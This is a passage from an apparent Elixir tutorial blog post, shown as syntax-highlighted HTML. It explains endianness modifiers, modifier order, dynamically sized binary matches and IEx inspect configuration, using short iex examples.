&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;513&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You won&apos;t see a difference if you convert only a single byte, since endianness applies only to &lt;strong&gt;multi-byte ordering&lt;/strong&gt; not &lt;strong&gt;bit ordering&lt;/strong&gt;.&lt;/p&gt;
&lt;pre id=&quot;code-block-25&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;big&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;big&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;big&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Elixir also supports the &lt;code&gt;native&lt;/code&gt; endianness modifier which uses &lt;code&gt;big&lt;/code&gt; or &lt;code&gt;little&lt;/code&gt; depending on your VM and host OS. I suggest you always use &lt;code&gt;big&lt;/code&gt; or &lt;code&gt;little&lt;/code&gt; explicitly unless absolutely necessary.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#modifier-order&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;modifier-order&quot;&gt;&lt;/a&gt;Modifier Order&lt;/h3&gt;
&lt;p&gt;One feature of modifiers is that their order doesn&apos;t matter. All these notations are the same:&lt;/p&gt;
&lt;pre id=&quot;code-block-26&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;signed&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;signed&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;signed&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;signed&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;little&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to enforce a certain modifier order in your codebase, you can add this &lt;a href=&quot;https://github.com/smartrent/credo_binary_patterns&quot;&gt;nifty Credo check&lt;/a&gt; which will check that the modifiers are always ordered like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-27&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;endian&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;sign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Thank you &lt;a href=&quot;https://bsky.app/profile/nezteb.net/post/3m2u6jvjerc2j&quot;&gt;Noah&lt;/a&gt; for recommending me this credo check 💜&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#dynamic-match-size&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;dynamic-match-size&quot;&gt;&lt;/a&gt;Dynamic Match Size&lt;/h2&gt;
&lt;p&gt;The last feature of binary pattern matching I want to share with you is that you can have dynamically sized matches like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-28&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;integer&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello there General Kenobi&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;26&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;72&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;101&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Hello there General Kenobi&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once you start decoding bitstrings in the real world, you will often encounter the case in which a preceding value defines the length of the value to follow. In our example, the &lt;code&gt;count&lt;/code&gt; defines the length of the string to follow.&lt;/p&gt;
&lt;p&gt;This works with all types, including raw bits:&lt;/p&gt;
&lt;pre id=&quot;code-block-29&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b01001001&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;I&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;9&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# or 0b1001&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can also use regular variables to dynamically define match size:&lt;/p&gt;
&lt;pre id=&quot;code-block-30&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;helo&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;helo&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;helo&quot;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This feature is extremely useful if you don&apos;t know the size of a segment up front but receive a &quot;meta&quot; or &quot;header&quot; segment which indicates the dynamic size of the segment to follow.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#configure-iex&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;configure-iex&quot;&gt;&lt;/a&gt;Configure IEx&lt;/h2&gt;
&lt;p&gt;Elixir displays bitstrings as UTF8 characters whenever possible, which is useful if you actually work with text, but can get in your way when you work with numbers.&lt;/p&gt;
&lt;p&gt;Luckily, you can configure IEx to always print out the &quot;raw&quot; values like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-31&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;54&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;77&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;6M&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;IEx&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;configure&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;inspect: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;base: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:decimal&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;charlists: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:as_lists&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;binaries: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:as_binaries&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;54&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;77&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;54&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;77&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;I learned this trick from &lt;a href=&quot;https://bsky.app/profile/geolessel.bsky.social&quot;&gt;Geoffrey Lessel&apos;s&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=l2DSBOmPOOo&quot;&gt;great talk about working with bits&lt;/a&gt; at ElixirConf US 2025. Thank you Geoffrey 💜&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
